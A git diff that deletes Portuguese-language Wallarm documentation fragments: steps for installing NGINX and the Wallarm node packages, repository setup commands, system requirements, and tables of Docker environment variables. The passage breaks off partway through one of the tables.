load_module modules/ngx_http_wallarm_module.so; - ``` - - Exemplo de configuração com a diretiva adicionada: - - ``` - user nginx; - worker_processes auto; - load_module modules/ngx_http_wallarm_module.so; - - error_log /var/log/nginx/error.log notice; - pid /var/run/nginx.pid; - ``` - -4. Copie os arquivos de configuração para a configuração do sistema: - - ``` bash - sudo cp /usr/share/doc/nginx-module-wallarm/examples/*.conf /etc/nginx/conf.d/ - ``` - -## 5. Conecte o nó de filtragem ao Wallarm Cloud - ---8<-- "../include/waf/installation/connect-waf-and-cloud-4.6.md" \ No newline at end of file diff --git a/include-pt-BR/waf/installation/linux-packages/common-steps-to-install-node-nginx-stable.md b/include-pt-BR/waf/installation/linux-packages/common-steps-to-install-node-nginx-stable.md deleted file mode 100644 index 897bda875b..0000000000 --- a/include-pt-BR/waf/installation/linux-packages/common-steps-to-install-node-nginx-stable.md +++ /dev/null @@ -1,197 +0,0 @@ -## 1. Instale o NGINX estável e as dependências - -Estas são as opções para instalar o NGINX `estável` a partir do repositório NGINX: - -* Instalação a partir do pacote construído - - === "Debian" - ```bash - sudo apt -y install curl gnupg2 ca-certificates lsb-release debian-archive-keyring - echo "deb http://nginx.org/packages/debian `lsb_release -cs` nginx" | sudo tee /etc/apt/sources.list.d/nginx.list - curl -fSsL https://nginx.org/keys/nginx_signing.key | sudo gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/nginx.gpg --import - sudo chmod 644 /etc/apt/trusted.gpg.d/nginx.gpg - sudo apt update - sudo apt -y install nginx - ``` - === "Ubuntu" - 1. Instale as dependências necessárias para o NGINX estável: - - ```bash - sudo apt -y install curl gnupg2 ca-certificates lsb-release - ``` - 2. Instale o NGINX estável: - - ```bash - echo "deb http://nginx.org/packages/ubuntu `lsb_release -cs` nginx" | sudo tee /etc/apt/sources.list.d/nginx.list - curl -fsSL https://nginx.org/keys/nginx_signing.key | sudo apt-key add - - sudo apt update - sudo apt -y install nginx - ``` - === "CentOS ou Amazon Linux 2.0.2021x e inferior" - - 1. Se um repositório EPEL estiver adicionado no CentOS 7.x, desabilite a instalação do NGINX estável a partir deste repositório adicionando `exclude=nginx*` ao arquivo `/etc/yum.repos.d/epel.repo`. - - Exemplo do arquivo alterado `/etc/yum.repos.d/epel.repo`: - - ```bash - [epel] - name=Extra Packages for Enterprise Linux 7 - $basearch - #baseurl=http://download.fedoraproject.org/pub/epel/7/$basearch - metalink=https://mirrors.fedoraproject.org/metalink?repo=epel-7&arch=$basearch - failovermethod=priority - enabled=1 - gpgcheck=1 - gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-7 - exclude=nginx* - - [epel-debuginfo] - name=Extra Packages for Enterprise Linux 7 - $basearch - Debug - #baseurl=http://download.fedoraproject.org/pub/epel/7/$basearch/debug - metalink=https://mirrors.fedoraproject.org/metalink?repo=epel-debug-7&arch=$basearch - failovermethod=priority - enabled=0 - gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-7 - gpgcheck=1 - - [epel-source] - name=Extra Packages for Enterprise Linux 7 - $basearch - Source - #baseurl=http://download.fedoraproject.org/pub/epel/7/SRPMS - metalink=https://mirrors.fedoraproject.org/metalink?repo=epel-source-7&arch=$basearch - failovermethod=priority - enabled=0 - gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-7 - gpgcheck=1 - ``` - - 2. Instale o NGINX estável a partir do repositório oficial: - - ```bash - echo -e '\n[nginx-stable] \nname=nginx stable repo \nbaseurl=http://nginx.org/packages/centos/$releasever/$basearch/ \ngpgcheck=1 \nenabled=1 \ngpgkey=https://nginx.org/keys/nginx_signing.key \nmodule_hotfixes=true' | sudo tee /etc/yum.repos.d/nginx.repo - sudo yum install -y nginx - ``` - === "RHEL 8.x" - ```bash - echo -e '\n[nginx-stable] \nname=nginx stable repo \nbaseurl=http://nginx.org/packages/centos/$releasever/$basearch/ \ngpgcheck=1 \nenabled=1 \ngpgkey=https://nginx.org/keys/nginx_signing.key \nmodule_hotfixes=true' | sudo tee /etc/yum.repos.d/nginx.repo - sudo yum install -y nginx - ``` - -* Compilação do código fonte a partir do ramo `estável` do [repositório NGINX](https://hg.nginx.org/pkg-oss/branches) e instalação com as mesmas opções. - - !!! info "NGINX para AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - Essa é a única opção para instalar o NGINX no AlmaLinux, Rocky Linux ou Oracle Linux 8.x. - -Mais informações detalhadas sobre a instalação do NGINX estão disponíveis na [documentação oficial do NGINX](https://www.nginx.com/resources/admin-guide/installing-nginx-open-source/). - -## 2. Adicione repositórios Wallarm - -O nó Wallarm é instalado e atualizado a partir dos repositórios Wallarm. Para adicionar repositórios, use os comandos para sua plataforma: - -=== "Debian 11.x (bullseye)" - ```bash - sudo apt -y install dirmngr - curl -fSsL https://repo.wallarm.com/wallarm.gpg | sudo gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/wallarm.gpg --import - sudo chmod 644 /etc/apt/trusted.gpg.d/wallarm.gpg - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node bullseye/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 18.04 LTS (bionic)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node bionic/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 20.04 LTS (focal)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node focal/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 22.04 LTS (jammy)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node jammy/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "CentOS 7.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.8/x86_64/wallarm-node-repo-4.8-0.el7.noarch.rpm - ``` -=== "Amazon Linux 2.0.2021x e inferior" - ```bash - sudo yum install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.8/x86_64/wallarm-node-repo-4.8-0.el7.noarch.rpm - ``` -=== "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` -=== "RHEL 8.x" - ```bash - sudo dnf install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` - -## 3. Instale os pacotes Wallarm - -Os seguintes pacotes são necessários: - -* `nginx-module-wallarm` para o módulo NGINX-Wallarm -* `wallarm-node` para o módulo [postanalytics][install-postanalytics-docs], banco de dados Tarantool e pacotes adicionais NGINX-Wallarm - -=== "Debian" - ```bash - sudo apt -y install --no-install-recommends wallarm-node nginx-module-wallarm - ``` -=== "Ubuntu" - ```bash - sudo apt -y install --no-install-recommends wallarm-node nginx-module-wallarm - ``` -=== "CentOS ou Amazon Linux 2.0.2021x e inferior" - ```bash - sudo yum install -y wallarm-node nginx-module-wallarm - ``` -=== "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo yum install -y wallarm-node nginx-module-wallarm - ``` -=== "RHEL 8.x" - ```bash - sudo yum install -y wallarm-node nginx-module-wallarm - ``` - -## 4. Conecte o módulo Wallarm - -1. Abra o arquivo `/etc/nginx/nginx.conf`: - - ```bash - sudo vim /etc/nginx/nginx.conf - ``` -2. Verifique se a linha `include /etc/nginx/conf.d/*;` está adicionada ao arquivo. Caso não tenha, adicione-a. -3. Adicione a seguinte diretiva logo após a diretiva `worker_processes`: - - ```bash - load_module modules/ngx_http_wallarm_module.so; - ``` - - Exemplo de configuração com a diretiva adicionada: - - ``` - user nginx; - worker_processes auto; - load_module modules/ngx_http_wallarm_module.so; - - error_log /var/log/nginx/error.log notice; - pid /var/run/nginx.pid; - ``` - -4. Copie os arquivos de configuração para a configuração do sistema: - - ``` bash - sudo cp /usr/share/doc/nginx-module-wallarm/examples/*.conf /etc/nginx/conf.d/ - ``` - -## 5. Conecte o nó de filtragem ao Wallarm Cloud - ---8<-- "../include/waf/installation/connect-waf-and-cloud-4.6.md" \ No newline at end of file diff --git a/include-pt-BR/waf/installation/linux-packages/nginx-distro-use-cases.md b/include-pt-BR/waf/installation/linux-packages/nginx-distro-use-cases.md deleted file mode 100644 index 4c7dd18056..0000000000 --- a/include-pt-BR/waf/installation/linux-packages/nginx-distro-use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -Dentre todas as [opções de implantação da Wallarm][platform] suportadas, os pacotes DEB/RPM para NGINX fornecidos pela distribuição são recomendados para a implantação da Wallarm nestes **casos de uso**: - -* Sua infraestrutura é baseada em metal puro ou máquinas virtuais sem o uso de métodos baseados em contêineres. Normalmente, essas configurações são gerenciadas com ferramentas de Infraestrutura como Código (IaC), como Ansible ou SaltStack. -* Seus serviços são construídos em torno do NGINX fornecido pela distribuição. A Wallarm pode estender suas funcionalidades usando esses pacotes. \ No newline at end of file diff --git a/include-pt-BR/waf/installation/linux-packages/nginx-plus-use-cases.md b/include-pt-BR/waf/installation/linux-packages/nginx-plus-use-cases.md deleted file mode 100644 index b99799853f..0000000000 --- a/include-pt-BR/waf/installation/linux-packages/nginx-plus-use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -Dentre todas as [opções de implantação do Wallarm][platform] suportadas, os pacotes DEB/RPM para NGINX Plus são recomendados para a implantação do Wallarm nestes **casos de uso**: - -* Sua infraestrutura é baseada em metal nu ou máquinas virtuais sem o uso de métodos baseados em contêineres. Normalmente, essas configurações são gerenciadas com ferramentas de Infraestrutura como código (IaC), como Ansible ou SaltStack. -* Seus serviços são construídos em torno do NGINX Plus. O Wallarm pode estender suas funcionalidades usando esses pacotes. \ No newline at end of file diff --git a/include-pt-BR/waf/installation/linux-packages/nginx-stable-use-cases.md b/include-pt-BR/waf/installation/linux-packages/nginx-stable-use-cases.md deleted file mode 100644 index 68e97b1d74..0000000000 --- a/include-pt-BR/waf/installation/linux-packages/nginx-stable-use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -Entre todas as [opções de implantação do Wallarm][platform] suportadas, os pacotes DEB/RPM para NGINX Stable são recomendados para a implantação do Wallarm nestes **casos de uso**: - -* Sua infraestrutura é baseada em um hardware puro ou máquinas virtuais sem o uso de métodos baseados em contêineres. Normalmente, essas configurações são gerenciadas com ferramentas de Infraestrutura como Código (IaC) como Ansible ou SaltStack. -* Seus serviços são construídos em torno do NGINX Stable. O Wallarm pode estender suas funcionalidades usando esses pacotes. \ No newline at end of file diff --git a/include-pt-BR/waf/installation/linux-packages/requirements-nginx-distro.md b/include-pt-BR/waf/installation/linux-packages/requirements-nginx-distro.md deleted file mode 100644 index e82075c9cb..0000000000 --- a/include-pt-BR/waf/installation/linux-packages/requirements-nginx-distro.md +++ /dev/null @@ -1,9 +0,0 @@ -* Acesso à conta com a função de **Administrador** e autenticação de dois fatores desativada na Console Wallarm para a [Nuvem EUA](https://us1.my.wallarm.com/) ou [Nuvem UE](https://my.wallarm.com/) -* SELinux desativado ou configurado de acordo com as [instruções][configure-selinux-instr] -* Execução de todos os comandos como superusuário (por exemplo, `root`) -* Acesso a `https://repo.wallarm.com` para baixar pacotes. Certifique-se de que o acesso não está bloqueado por um firewall -* Acesso a `https://us1.api.wallarm.com` para trabalhar com a Nuvem Wallarm EUA ou a `https://api.wallarm.com` para trabalhar com a Nuvem Wallarm UE. Se o acesso pode ser configurado apenas via servidor proxy, então use as [instruções][configure-proxy-balancer-instr] -* Access to the IP addresses below for downloading updates to attack detection rules, as well as retrieving precise IPs for your allowlisted, denylisted, or graylisted countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" -* Editor de texto instalado **vim**, **nano**, ou qualquer outro. Na instrução, **vim** é usado \ No newline at end of file diff --git a/include-pt-BR/waf/installation/linux-packages/requirements-nginx-plus.md b/include-pt-BR/waf/installation/linux-packages/requirements-nginx-plus.md deleted file mode 100644 index 602b283982..0000000000 --- a/include-pt-BR/waf/installation/linux-packages/requirements-nginx-plus.md +++ /dev/null @@ -1,13 +0,0 @@ -* Acesso à conta com a função de **Administrador** e autenticação de dois fatores desativada no Wallarm Console para a [Nuvem dos EUA](https://us1.my.wallarm.com/) ou [Nuvem da UE](https://my.wallarm.com/) -* SELinux desativado ou configurado de acordo com as [instruções][configure-selinux-instr] -* Versão de lançamento NGINX Plus 28 (R28) - - !!! info "Versões personalizadas do NGINX Plus" - Se você possui uma versão diferente, consulte as instruções sobre [como conectar o módulo Wallarm à compilação personalizada do NGINX][nginx-custom] -* A execução de todos os comandos como superusuário (por exemplo, `root`) -* Acesso a `https://repo.wallarm.com` para baixar pacotes. Certifique-se de que o acesso não esteja bloqueado por um firewall -* Acesso a `https://us1.api.wallarm.com` para trabalhar com a Nuvem Wallarm dos EUA ou a `https://api.wallarm.com` para trabalhar com a Nuvem Wallarm da UE. Se o acesso só pode ser configurado via servidor proxy, então use as [instruções][configure-proxy-balancer-instr] -* Access to the IP addresses below for downloading updates to attack detection rules, as well as retrieving precise IPs for your allowlisted, denylisted, or graylisted countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" -* Editor de texto instalado **vim**, **nano**, ou qualquer outro. Na instrução, **vim** é usado diff --git a/include-pt-BR/waf/installation/linux-packages/requirements-nginx-stable.md b/include-pt-BR/waf/installation/linux-packages/requirements-nginx-stable.md deleted file mode 100644 index a5c60995ca..0000000000 --- a/include-pt-BR/waf/installation/linux-packages/requirements-nginx-stable.md +++ /dev/null @@ -1,13 +0,0 @@ -* Acesso à conta com a função de **Administrador** e autenticação de dois fatores desativada na Consola Wallarm para a [Nuvem US](https://us1.my.wallarm.com/) ou [Nuvem EU](https://my.wallarm.com/) -* SELinux desativado ou configurado de acordo com as [instruções][configure-selinux-instr] -* NGINX versão 1.24.0 - - !!! info "Versões personalizadas do NGINX" - Se você possui uma versão diferente, consulte as instruções sobre [como conectar o módulo Wallarm a uma compilação personalizada do NGINX][nginx-custom] -* Executando todos os comandos como superusuário (por exemplo, `root`) -* Acesso a `https://repo.wallarm.com` para baixar pacotes. Certifique-se de que o acesso não está bloqueado por um firewall -* Acesso a `https://us1.api.wallarm.com` para trabalhar com a Nuvem Wallarm EUA ou a `https://api.wallarm.com` para trabalhar com a Nuvem Wallarm UE. Se o acesso só puder ser configurado via servidor proxy, use as [instruções][configure-proxy-balancer-instr] -* Access to the IP addresses below for downloading updates to attack detection rules, as well as retrieving precise IPs for your allowlisted, denylisted, or graylisted countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" -* Editor de texto instalado **vim**, **nano**, ou qualquer outro. Na instrução, **vim** é usado \ No newline at end of file diff --git a/include-pt-BR/waf/installation/linux-packages/separate-postanalytics-reqs.md b/include-pt-BR/waf/installation/linux-packages/separate-postanalytics-reqs.md deleted file mode 100644 index 48ff296e88..0000000000 --- a/include-pt-BR/waf/installation/linux-packages/separate-postanalytics-reqs.md +++ /dev/null @@ -1,6 +0,0 @@ -* Acesso à conta com a função **Administrador** e autenticação em duas etapas desativada na Console Wallarm para o [US Cloud](https://us1.my.wallarm.com/) ou [EU Cloud](https://my.wallarm.com/) -* SELinux desativado ou configurado de acordo com as [instruções][configure-selinux-instr] -* Execução de todos os comandos como superusuário (por exemplo, `root`) -* Acesso a `https://repo.wallarm.com` para baixar pacotes. Certifique-se de que o acesso não está bloqueado por um firewall -* Acesso a `https://us1.api.wallarm.com` se estiver trabalhando com o Wallarm Cloud dos EUA ou a `https://api.wallarm.com` se estiver trabalhando com o Wallarm Cloud da UE. Se o acesso só pode ser configurado via servidor proxy, então use as [instruções][configure-proxy-balancer-instr] -* Editor de texto instalado **vim**, **nano** ou qualquer outro. Nos comandos neste artigo, é usado o **vim** \ No newline at end of file diff --git a/include-pt-BR/waf/installation/nginx-distr-requirements-4.0.md b/include-pt-BR/waf/installation/nginx-distr-requirements-4.0.md deleted file mode 100644 index 281660b2bd..0000000000 --- a/include-pt-BR/waf/installation/nginx-distr-requirements-4.0.md +++ /dev/null @@ -1,10 +0,0 @@ -* Acesso à conta com a função de **Administrador** e autenticação de dois fatores desativada no Console Wallarm para [US Cloud](https://us1.my.wallarm.com/) ou [EU Cloud](https://my.wallarm.com/) -* SELinux desativado ou configurado conforme as [instruções][configure-selinux-instr] -* Execução de todos os comandos como um superusuário (por exemplo, `root`) -* Para processamento de solicitações e pós-análise em servidores diferentes: pós-análise instalada no servidor separado conforme as [instruções][install-postanalytics-instr] -* Acesso a `https://repo.wallarm.com` para baixar os pacotes. Garanta que o acesso não seja bloqueado por um firewall -* Acesso a `https://us1.api.wallarm.com` para trabalho com o US Wallarm Cloud ou a `https://api.wallarm.com` para trabalho com o EU Wallarm Cloud. Se o acesso puder ser configurado apenas via servidor proxy, então use as [instruções][configure-proxy-balancer-instr] -* Access to the IP addresses below for downloading updates to attack detection rules, as well as retrieving precise IPs for your allowlisted, denylisted, or graylisted countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" -* Editor de texto instalado **vim**, **nano** ou qualquer outro. Na instrução, o **vim** é usado \ No newline at end of file diff --git a/include-pt-BR/waf/installation/nginx-docker-all-env-vars-218.md b/include-pt-BR/waf/installation/nginx-docker-all-env-vars-218.md deleted file mode 100644 index 3ce54c6f78..0000000000 --- a/include-pt-BR/waf/installation/nginx-docker-all-env-vars-218.md +++ /dev/null @@ -1,10 +0,0 @@ -Variável de ambiente | Descrição | Obrigatório ---- | ---- | ---- -`DEPLOY_USER` | Email para a conta de usuário **Deploy** ou **Administrador** no Console Wallarm. | Sim -`DEPLOY_PASSWORD` | Senha para a conta de usuário **Deploy** ou **Administrador** no Console Wallarm. | Sim -`NGINX_BACKEND` | Domínio ou endereço IP do recurso a proteger com a solução Wallarm. | Sim -`WALLARM_API_HOST` | Servidor API Wallarm:
              • `us1.api.wallarm.com` para a Nuvem dos EUA
              • `api.wallarm.com` para a Nuvem da UE
              Por padrão: `api.wallarm.com`. | Não -`WALLARM_MODE` | Modo do nó:
              • `block` para bloquear solicitações maliciosas
              • `monitoring` para analisar mas não bloquear solicitações
              • `off` para desativar a análise e processamento de tráfego
              Por padrão: `monitoring`. | Não -`TARANTOOL_MEMORY_GB` | [Quantidade de memória][allocating-memory-guide] alocada para Tarantool. O valor pode ser um número inteiro ou um float (um ponto . é o separador decimal). Por padrão: 0.2 gigabytes. | Não -`WALLARM_ACL_ENABLE` | Habilita a funcionalidade de bloqueio de IP com [configurações padrão][default-ip-blocking-settings]. Os seguintes valores podem ser atribuídos a uma variável:
              • `true` para habilitar a funcionalidade de bloqueio de IP
              • `false` para desabilitar a funcionalidade de bloqueio de IP
              O valor padrão (se a variável não for passada para o contêiner) é `false`.
              Para habilitar a funcionalidade de bloqueio de IP com configurações personalizadas, você precisa definir as [diretivas] apropriadas do NGINX[wallarm-acl-directive] e executar o contêiner [montando][mount-config-instr] o arquivo de configuração com diretivas definidas.

              Valores `on` / `enabled` / `ok` / `yes`

              Desde a versão 2.16.0-8 da imagem do nó de filtragem, os valores `on` / `enabled` / `ok` / `yes` atribuídos a esta variável desabilitam a funcionalidade de bloqueio de IP. Recomendamos a implantação da versão mais recente da imagem conforme descrito no documento atual e passando o valor `true` ou `false` nesta variável.

              | Não -`DEPLOY_FORCE` | Substitui um nó Wallarm existente por um novo se o nome de um nó Wallarm existente corresponder ao identificador do contêiner que você está executando. Os seguintes valores podem ser atribuídos a uma variável:
              • `true` para substituir o nó de filtragem
              • `false` para desabilitar a substituição do nó de filtragem
              O valor padrão (se a variável não for passada para o contêiner) é `false`.
              O nome do nó Wallarm sempre corresponde ao identificador do contêiner que você está executando. A substituição do nó de filtragem é útil se os identificadores de contêiner Docker em seu ambiente forem estáticos e você está tentando executar outro contêiner Docker com o nó de filtragem (por exemplo, um contêiner com uma nova versão da imagem). Se neste caso o valor da variável for `false`, o processo de criação do nó de filtragem falhará. | Não \ No newline at end of file diff --git a/include-pt-BR/waf/installation/nginx-docker-all-env-vars-3.4.md b/include-pt-BR/waf/installation/nginx-docker-all-env-vars-3.4.md deleted file mode 100644 index b570fca39a..0000000000 --- a/include-pt-BR/waf/installation/nginx-docker-all-env-vars-3.4.md +++ /dev/null @@ -1,10 +0,0 @@ -Variável de ambiente | Descrição | Obrigatório ---- | ---- | ---- -`DEPLOY_USER` | Email da conta de usuário **Deploy** ou **Administrador** no Console do Wallarm. | Sim -`DEPLOY_PASSWORD` | Senha da conta de usuário **Deploy** ou **Administrador** no Console do Wallarm. | Sim -`NGINX_BACKEND` | Domínio ou endereço IP do recurso a ser protegido com a solução Wallarm. | Sim -`WALLARM_API_HOST` | Servidor API Wallarm:
              • `us1.api.wallarm.com` para o Cloud dos EUA
              • `api.wallarm.com` para o Cloud da UE
              Por padrão: `api.wallarm.com`. | Não -`WALLARM_MODE` | Modo do node:
              • `block` para bloquear solicitações maliciosas
              • `safe_blocking` para bloquear apenas essas solicitações maliciosas originadas de [endereços IP cinzentos][graylist-docs]
              • `monitoring` para analisar, mas não bloquear solicitações
              • `off` para desativar a análise e o processamento de tráfego
              Por padrão: `monitoring`.
              [Descrição detalhada dos modos de filtragem →][filtration-modes-docs] | Não -`WALLARM_APPLICATION` | Identificador único da aplicação protegida a ser usado na Cloud do Wallarm. O valor pode ser um número inteiro positivo, exceto `0`.

              O valor padrão (se a variável não for passada para o contêiner) é `-1`, que indica a aplicação **padrão** exibida em Console do Wallarm → **Configurações** → **Aplicação**.

              [Mais detalhes sobre a configuração de aplicações →][application-configuration]

              Suporte para a variável `WALLARM_APPLICATION`

              A variável `WALLARM_APPLICATION` é suportada apenas a partir da imagem Docker da versão `3.4.1-1`.

              | Não -`TARANTOOL_MEMORY_GB` | [Quantidade de memória][allocating-memory-guide] alocada para o Tarantool. O valor pode ser um número inteiro ou um float (um ponto . é um separador decimal). Por padrão: 0.2 gygabytes. | Não -`DEPLOY_FORCE` | Substitui um node Wallarm existente por um novo se o nome do node Wallarm existente corresponder ao identificador do contêiner que você está executando. Os seguintes valores podem ser atribuídos a uma variável:
              • `true` para substituir o node de filtragem
              • `false` para desativar a substituição do node de filtragem
              O valor padrão (se a variável não for passada para o contêiner) é `false`.
              O nome do node Wallarm sempre corresponde ao identificador do contêiner que você está executando. A substituição do node de filtragem é útil se os identificadores do contêiner Docker em seu ambiente são estáticos e você está tentando executar outro contêiner Docker com o node de filtragem (por exemplo, um contêiner com uma nova versão da imagem). Se neste caso o valor da variável for `false`, o processo de criação do node de filtragem falhará. | Não diff --git a/include-pt-BR/waf/installation/nginx-docker-all-env-vars-3.6.md b/include-pt-BR/waf/installation/nginx-docker-all-env-vars-3.6.md deleted file mode 100644 index 7358f75c2a..0000000000 --- a/include-pt-BR/waf/installation/nginx-docker-all-env-vars-3.6.md +++ /dev/null @@ -1,11 +0,0 @@ -Variável de ambiente | Descrição| Obrigatório ---- | ---- | ---- -`DEPLOY_USER` | Email para a conta de usuário **Deploy** ou **Administrador** no Console da Wallarm.| Sim -`DEPLOY_PASSWORD` | Senha para a conta de usuário **Deploy** ou **Administrador** no Console da Wallarm. | Sim -`NGINX_BACKEND` | Domínio ou endereço IP do recurso a ser protegido com a solução Wallarm. | Sim -`WALLARM_API_HOST` | Servidor da API Wallarm:
              • `us1.api.wallarm.com` para o Cloud dos EUA
              • `api.wallarm.com` para o Cloud da EU
              Por padrão: `api.wallarm.com`. | Não -`WALLARM_MODE` | Modo do nodo:
              • `block` para bloquear solicitações maliciosas
              • `safe_blocking` para bloquear apenas aquelas solicitações maliciosas originadas de [endereços IP em lista cinza][graylist-docs]
              • `monitoring` para analisar, mas não bloquear solicitações
              • `off` para desativar a análise e processamento de tráfego
              Por padrão: `monitoring`.
              [Descrição detalhada dos modos de filtragem →][filtration-modes-docs] | Não -`WALLARM_APPLICATION` | Identificador único do aplicativo protegido a ser usado na Cloud da Wallarm. O valor pode ser um número inteiro positivo, exceto `0`.

              Valor padrão (se a variável não é passada para o contêiner) é `-1`, que indica o aplicativo **padrão** exibido no Console da Wallarm → **Configurações** → **Aplicação**.

              [Mais detalhes sobre a configuração de aplicativos →][application-configuration]

              Suporte para a variável `WALLARM_APPLICATION`

              A variável `WALLARM_APPLICATION` é suportada apenas a partir da imagem Docker da versão `3.4.1-1`.

              | Não -`TARANTOOL_MEMORY_GB` | [Quantidade de memória][allocating-memory-guide] alocada para o Tarantool. O valor pode ser um número inteiro ou um número de ponto flutuante (um . é o separador decimal). Por padrão: 0,2 gygabytes. | Não -`DEPLOY_FORCE` | Substitui um nodo Wallarm existente por um novo se o nome do nodo Wallarm existente corresponder ao identificador do contêiner que você está executando. Os seguintes valores podem ser atribuídos a uma variável:
              • `true` para substituir o nodo de filtragem
              • `false` para desativar a substituição do nodo de filtragem
              Valor padrão (se a variável não é passada para o contêiner) é `false`.
              O nome do nodo Wallarm sempre corresponde ao identificador do contêiner que você está executando. A substituição do nodo de filtragem é útil se os identificadores do contêiner Docker em seu ambiente forem estáticos e você estiver tentando executar outro contêiner Docker com o nodo de filtragem (por exemplo, um contêiner com uma nova versão da imagem). Se nesse caso o valor da variável for `false`, o processo de criação do nodo de filtragem falhará. | Não -`NGINX_PORT` |

              Define uma porta que o NGINX usará dentro do contêiner Docker. Isso permite evitar colisão de portas ao usar este contêiner Docker como um [contêiner lateral][about-sidecar-container] dentro de um pod de cluster Kubernetes.

              Valor padrão (se a variável não é passada para o contêiner) é `80`.

              A sintaxe é `NGINX_PORT='443'`.

              | Não diff --git a/include-pt-BR/waf/installation/nginx-docker-all-env-vars-4.0.md b/include-pt-BR/waf/installation/nginx-docker-all-env-vars-4.0.md deleted file mode 100644 index 1389b3ac2e..0000000000 --- a/include-pt-BR/waf/installation/nginx-docker-all-env-vars-4.0.md +++ /dev/null @@ -1,9 +0,0 @@ -Variável de ambiente | Descrição | Obrigatório ---- | ---- | ---- -`WALLARM_API_TOKEN` | Token do nó Wallarm.

              Variáveis anteriores que configuram o acesso à Wallarm Cloud

              Antes do lançamento da versão 4.0, as variáveis antes do `WALLARM_API_TOKEN` eram `DEPLOY_USERNAME` e `DEPLOY_PASSWORD`. A partir da nova versão, recomenda-se usar a nova abordagem baseada em token para acessar a Wallarm Cloud. [Mais detalhes sobre a migração para a nova versão do nó](/updating-migrating/docker-container/)

              | Sim -`NGINX_BACKEND` | Domínio ou endereço IP do recurso a ser protegido com a solução Wallarm. | Sim -`WALLARM_API_HOST` | Servidor API da Wallarm:
              • `us1.api.wallarm.com` para a Cloud dos EUA
              • `api.wallarm.com` para a Cloud da UE
              Por padrão: `api.wallarm.com`. | Não -`WALLARM_MODE` | Modo do nó:
              • `block` para bloquear solicitações maliciosas
              • `safe_blocking` para bloquear apenas aquelas solicitações maliciosas originadas de [endereços IP em lista cinza][graylist-docs]
              • `monitoring` para analisar, mas não bloquear solicitações
              • `off` para desativar a análise e o processamento de tráfego
              Por padrão: `monitoring`.
              [Descrição detalhada dos modos de filtragem →][filtration-modes-docs] | Não -`WALLARM_APPLICATION` | Identificador único da aplicação protegida a ser usada na Wallarm Cloud. O valor pode ser um número inteiro positivo, exceto `0`.

              Valor padrão (se a variável não é passada para o contêiner) é `-1`, que indica a aplicação **padrão** exibida na Console Wallarm → **Configurações** → **Aplicação**.

              [Mais detalhes sobre a configuração de aplicações →][application-configuration] | Não -`TARANTOOL_MEMORY_GB` | [Quantidade de memória][allocating-memory-guide] alocada ao Tarantool. O valor pode ser um número inteiro ou um float (um ponto . é um separador decimal). Por padrão: 0.2 giga bytes. | Não -`NGINX_PORT` | Define uma porta que o NGINX usará dentro do contêiner Docker.

              A partir da imagem Docker `4.0.2-1`, o serviço [`wallarm-status`][node-status-docs] é executado automaticamente na mesma porta que o NGINX.

              Valor padrão (se a variável não é passada para o contêiner) é `80`.

              A sintaxe é `NGINX_PORT='443'`. | Não diff --git a/include-pt-BR/waf/installation/nginx-docker-all-env-vars-4.2.md b/include-pt-BR/waf/installation/nginx-docker-all-env-vars-4.2.md deleted file mode 100644 index 7600036506..0000000000 --- a/include-pt-BR/waf/installation/nginx-docker-all-env-vars-4.2.md +++ /dev/null @@ -1,10 +0,0 @@ -Variável de ambiente | Descrição | Obrigatório ---- | ---- | ---- -`WALLARM_API_TOKEN` | Token do nó Wallarm.

              Variáveis anteriores configurando o acesso ao Wallarm Cloud

              Antes do lançamento da versão 4.0, as variáveis ​​anteriores ao `WALLARM_API_TOKEN` eram` DEPLOY_USERNAME` e `DEPLOY_PASSWORD`. A partir do novo lançamento, é recomendado usar a nova abordagem baseada em token para acessar o Wallarm Cloud. [Mais detalhes sobre a migração para a nova versão do nó](/updating-migrating/docker-container/)

              | Sim -`NGINX_BACKEND` | Domínio ou endereço IP do recurso a ser protegido com a solução Wallarm. | Sim -`WALLARM_API_HOST` | Servidor API Wallarm:
              • `us1.api.wallarm.com` para o Cloud dos EUA
              • `api.wallarm.com` para o Cloud da EU
              Por padrão: `api.wallarm.com`. | Não -`WALLARM_MODE` | Modo do nó:
              • `block` para bloquear solicitações maliciosas
